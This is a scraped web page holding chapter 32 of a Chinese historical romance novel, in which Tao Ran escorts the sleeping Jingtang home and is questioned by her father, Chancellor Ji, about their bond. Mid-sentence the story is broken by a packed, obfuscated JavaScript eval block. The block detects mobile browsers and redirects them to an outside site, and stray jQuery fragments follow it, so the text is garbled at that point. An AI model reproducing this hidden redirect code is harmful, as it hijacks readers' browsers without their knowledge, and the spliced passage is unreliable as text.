默认冷灰
24号文字
方正启体

32.夜雾·心途两难

作者:招才猫本书字数:K更新时间:
    夜路上,一架马车辚辚地朝季府的方向驶去。


    车内,陶然侧抱着静堂,让她倚在自己的肘弯,缓缓睡去。


    他伸手摸了摸她的额头,还有些冷汗,不禁用侧脸贴上去,自己身体还没好,禁不住咳了两声。


    静堂缓缓醒来,轻声问:“云生说你病了,你怎么了?”


    陶然摇头:“不妨事,快睡吧,我在这里。”


    她闻言安心,又缓缓把眼睛闭上,整个人转身埋在他怀里。


    陶然一手抱着她,一手低低掀帘往外看。


    夜路无人,薄雾掩盖着来时的路,早已看不清了。


    他缓缓把车帘放下来,突然,像是蓦地看到了什么,又掀帘往外看。


    他只露出一只眼睛,却分明看到那人也在看他。


    那人蒙着面,眼神深深地朝他们车架处看,像鹰隼,此刻已与陶然的眼神对上。


    他慌忙把帘子放下来,静堂睡中呢喃了些什么,陶然下意识就去捂她的嘴。


    是严忍冬,尽管他蒙着面,但陶然依旧认了出来,刚才静堂和他说,自己路上见过严忍冬,就是穿这个颜色的衣服。


    陶然镇了镇神,把手从静堂口鼻上拿开,掀开正帘对车夫小声道:“再快些,抄近路去季府。”


    车外,严忍冬也认出了陶然,刚才那深深的对视,尽管对方只露出半只眼睛,但那车架的样式,陶然的眼神,他再熟悉不过。


    他满腹生疑,却仍继续往前走,今晚,他有更重要的事做。


    季府内,众人皆已睡下,唯有季清阁和季阳还在院中踱步。


    “就要走了,”季清阁附手在背,潸然轻笑:“这一去,也不知道什么时候能再见。”


    季阳默默在一旁走着,低头不语。


    父亲突然停下来,转身拍着儿子的肩问:“孩子,怪为父吗?”


    季阳闻言慌忙行礼:“父亲说哪里话,孩儿懂得父亲的心思。”


    季清阁点点头,把他抱着的拳摁下,对月长叹:“我已经给左将军去了信,过了时间吧。等过了这段时间,京中形势安定,为父一定不会叫你在边关受苦。”


    季阳道:“儿子不觉得苦。”


    “好,好孩子,”季清阁很是欣慰,“只是你这一走,你母亲又不原谅我了。”


    “父亲,朝廷的事瞬息万变,母亲深明大义,她会懂的。她抱怨两句,您别放在心上。”


    “我怎么能不放呢,”他又拍了拍季阳的肩,“是我对不起你们啊。”


    季阳正欲说些什么,只听落月阁中突然一阵此起彼伏的犬吠,他担心妹妹出了什么事,忙几步跑过去看。


    院中,陶然抱着静堂,和飞奔进来的季阳撞了个正着。


    两人四目相对,皆是目瞪口呆,满地的幼犬围在两人身边,争着往他们腿上爬。


    正愣着,季清阁也进来了......


    场面一时更乱,围在两人脚边的幼犬,又跑了几只到季丞相腿边,摇着尾巴撒娇。


    季清阁瞪大眼睛:“陶公子?”


    陶然抿着嘴,整个人石化了。


    “陶公子,”他几步走过去:“我没看错吧?真的是你?”


    他看看陶然,又看看熟睡的女儿,一时间无法接受:“这这这……这是怎么回事?”


    陶然又感到昨夜那种身心俱疲。


    他朝院中看看,四处去寻梅若墨香的身影,却是一个都不见,只有满地的狗。


    偏生此时,静堂又不自觉地用手勾住他的脖子,在他怀中把头埋得更深。


    纵是季清阁为人开明,也未曾设想过这般情景,季阳见父亲为难,大步跨过去一把将妹妹从陶然臂中夺出,抱着她上楼去了。


    陶然站在原地闭目叹气,季清阁急问:“小女怎么了?可是遭遇了什么不测?”


    “未曾,”他慌忙回答,颔首作揖,又想到刚才那年轻男子定是静堂的哥哥。


    作为外男,他不该掺和季家的家事。


    作为晚辈,他更不该在长辈面前说他兄妹二人的龃龉。


    于是,他只能愣愣地低着头,一言不发。


    楼上一时也没了动静,季阳久久不下来,季清阁只能上楼去看。


    他走到堂内,回头对陶然道:“还不快跟上来!”


    陶然小声:“是。”


    两人一并上楼后,见季阳抱着静堂站在门外,门框被木条钉死,显然是进不去了。


    季清阁小声问:“这是怎么回事!”


    季阳怕父亲责怪,只能硬着头皮解释:“颜颜被人跟踪,好赖不识还是要出去,儿子这才......”


    季清阁低声骂:“你是土匪吗?这里是季家,不是你的军营!别把训练将士的那一套用来对付你妹妹!”


    “是,”季阳汗颜。


    季清阁使了个眼色:“把门踹开。”


    季阳退后几步,不得不把静堂重新交到陶然手上,对着门猛地一踢。


    “哐”的声音让静堂梦中皱眉,陶然背过身去,安抚道:“没事了,已经到家了。”


    她累极,还未彻底清醒,又迷迷糊糊睡去。


    房内,东西砸了一地,床帘也被扯得稀烂,茶水泼得满地都是,三人一时连脚都迈不进去。


    季清阁恨恨看了季阳一眼,转身对陶然道:“还请陶公子把小女送到她姐姐阁中。”


    沁芳阁中,丫鬟们布置着床务,伺候静堂睡下。


    院中,季清阁背对陶然,揉着太阳穴:“陶公子,老夫也算敬你重你,想你是个青年才俊,”他回头,“你,你怎么能......”


    他把广袖一甩,附手在背,不住叹息。


    陶然扑通一声跪倒在地:“学生不愿对丞相有所隐瞒,却也不愿大人误会。在下同季小姐的确交好,但未曾有片刻想过借此关系左右丞相殿选品评,这才一直未坦诚相告。”


    季清阁沉声:“我说的不是殿选,是你和我女儿的事。”


    “明心可鉴。”


    “当真?”


    “当真。”


    他看着陶然,并不让他起来,手指在袖内不停摩挲,似是在判断此话真假。


    半晌,他问:“若是我告诉你,此次殿选,我会因为颜颜的关系对你青眼有加,你会怎么做?”


    陶然跪着,心中思忖,没有立时回答。


    “不再见她?”季清阁问。


    陶然沉声:“原是应该这样。”


    季清阁把头往后仰,鼻腔暗暗吸气,不再说话。


    “但我不会这样做。”


    “为什么”,季清阁声音冷冷的。


    “我这样做,她会难过的”,陶然低头,“我答应过颜颜,每天都见她。”


    季清阁看他一阵,鼻腔里忽然出气轻笑:“陶公子,男子一心把心思放在仕途上是好事,你也有这个才华。但是我方才问你与颜颜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928426|175866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之事,你先顾及的不是她的清白,而是我,一个能决定你仕途生死的人,是否会因为她的关系而忽略你的才学,你不觉得,重点偏了吗?”


    他叩首答道:“陶然从未轻视季姑娘名节,也从未将此事告知过任何人。正因在下待季姑娘之心明月可鉴,才未曾在清白一事上多有思虑。至于科举,在下的确有几分清高志气,不愿攀附权贵。季府高门,陶家不及万一,若是科举不能及第,我有何颜面给季姑娘一个交待?朝中局势混乱,倘或有人知晓我与季姑娘交情匪浅,或者季丞相您也这样认为,就算我进士及第,又怎能清白?”


    季清阁闻言:“陶公子果然是辩经好手,题旨明确,表意清晰,科举一事的确是用心了。”


    他坐在一旁的假山上,半晌说道:“陶然,既然颜颜这般待你,她的心思我不必再多问。季家一向开明,不以门第论高低,也不谈父母之命,媒妁之言,一切全在儿女自己的心意。”


    陶然颔首。


    “只是有一句话,我要提醒你。颜颜是一个性情非常刚烈的女子,眼里揉不得沙子。你要娶她,不能只是风花雪月,诗词歌赋上的相合,进取而不企图,重理而明是非,应对官场中事不生极端妄念,知进而更懂退,才能和她过一辈子。”


    他凑近陶然问:“我的话,你可懂得?”


    陶然想了想,颔首道:“颜颜不是一个以利向导之人,我要与她成婚,需和她是一路人。”


    季清阁点点头,身体渐渐挪开:“陶公子很是聪明,的确是比一般士子强多了。”


    他又见陶然眉目清俊,姿态端方:“她喜欢你,我一点儿都不意外。”


    陶然沉思片刻,庄重叩首:“丞相今夜的教诲,陶然记住了。无论是为官之道,还是为夫之道,正己身,明己心,克己欲,以仁爱人,方可长久。”


    季清阁摆摆手:“为官之道复杂得很,我今天说的,只是教你怎么和颜颜相处。其他的,你且去悟,仕途一事,我未见得有你走得好。”


    陶然闻言,慌忙行礼:“季丞相哪里话。”


    “好了,话既已说开,以后便是一家人。陶然,对自己的才学有些自信,别总吊着读书人的清高,殿选之上,仍以那时表现为凭,你不必心思太重,起来吧。”


    陶然拜后起身,又去搀扶季清阁从假山上起来。


    “对了,外头现在乱,你也帮着劝劝,叫颜颜少出去吧。”


    “是。”


    他拍拍陶然的手:“时间不早了,早些回去休息。”


    两人正往外走,却见一小厮奔进来报:“老爷,不好了,裕丰宝坊着火了。”


    “什么,”两人对视一眼。


    季清阁虽是在意,但到底是出自忠臣之责。陶然却彻底慌了神,想到陶家在其中的交易,他心旌动摇,突然往外跑。


    小厮一把拦住:“陶公子,京城各府现在戒严了,你出不去的。”


    陶然皱眉闭目,心思烦乱,却又不愿让季清阁看出什么,只极力压抑。


    “行了,戒严就戒严吧,常事,”季清阁道,“陶然,你且在阁中歇下,别人查起来,就说是丞相府留客,没人会多说什么。”


    “是。”


    季清阁走后,陶然突然没了精神,坐在院中支持不住地咳嗽。


    最近的事一波未平一波又起,严忍冬还没搞明白,裕丰宝坊又出了问题,他科考在即,心中如有巨石,头猛地疼了起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)